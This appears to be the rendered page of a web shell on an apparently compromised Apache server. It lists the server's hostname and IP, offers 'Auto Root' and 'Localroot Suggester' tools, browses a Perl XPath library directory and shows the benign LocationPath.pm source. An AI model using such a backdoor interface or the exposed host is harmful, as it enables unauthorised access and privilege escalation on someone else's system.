Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
perl5 /
XML /
XPathEngine /
Delete
Unzip
Name
Size
Permission
Date
Action
Boolean.pm
1.31
KB
-rw-r--r--
2010-09-15 19:01
Expr.pm
19.61
KB
-rw-r--r--
2010-09-15 19:01
Function.pm
10.8
KB
-rw-r--r--
2010-09-15 19:01
Literal.pm
2.17
KB
-rw-r--r--
2011-10-14 09:59
LocationPath.pm
1.1
KB
-rw-r--r--
2010-09-15 19:01
NodeSet.pm
4.06
KB
-rw-r--r--
2010-09-15 19:01
Number.pm
1.76
KB
-rw-r--r--
2010-09-15 19:01
Root.pm
634
B
-rw-r--r--
2010-09-15 19:01
Step.pm
14.17
KB
-rw-r--r--
2010-09-15 19:01
Variable.pm
850
B
-rw-r--r--
2010-09-15 19:01
Save
Rename
# $Id: LocationPath.pm,v 1.8 2001/03/16 11:10:08 matt Exp $ package XML::XPathEngine::LocationPath; use XML::XPathEngine::Root; use strict; sub new { my $class = shift; my $self = []; bless $self, $class; } sub as_string { my $self = shift; my $string; for (my $i = 0; $i < @$self; $i++) { $string .= $self->[$i]->as_string; $string .= "/" if $self->[$i+1]; } return $string; } sub as_xml { my $self = shift; my $string = "<LocationPath>\n"; for (my $i = 0; $i < @$self; $i++) { $string .= $self->[$i]->as_xml; } $string .= "</LocationPath>\n"; return $string; } sub set_root { my $self = shift; unshift @$self, XML::XPathEngine::Root->new(); } sub evaluate { my $self = shift; # context _MUST_ be a single node my $context = shift; die "No context" unless $context; # I _think_ this is how it should work :) my $nodeset = XML::XPathEngine::NodeSet->new(); $nodeset->push($context); foreach my $step (@$self) { # For each step # evaluate the step with the nodeset my $pos = 1; $nodeset = $step->evaluate($nodeset); } return $nodeset; } 1;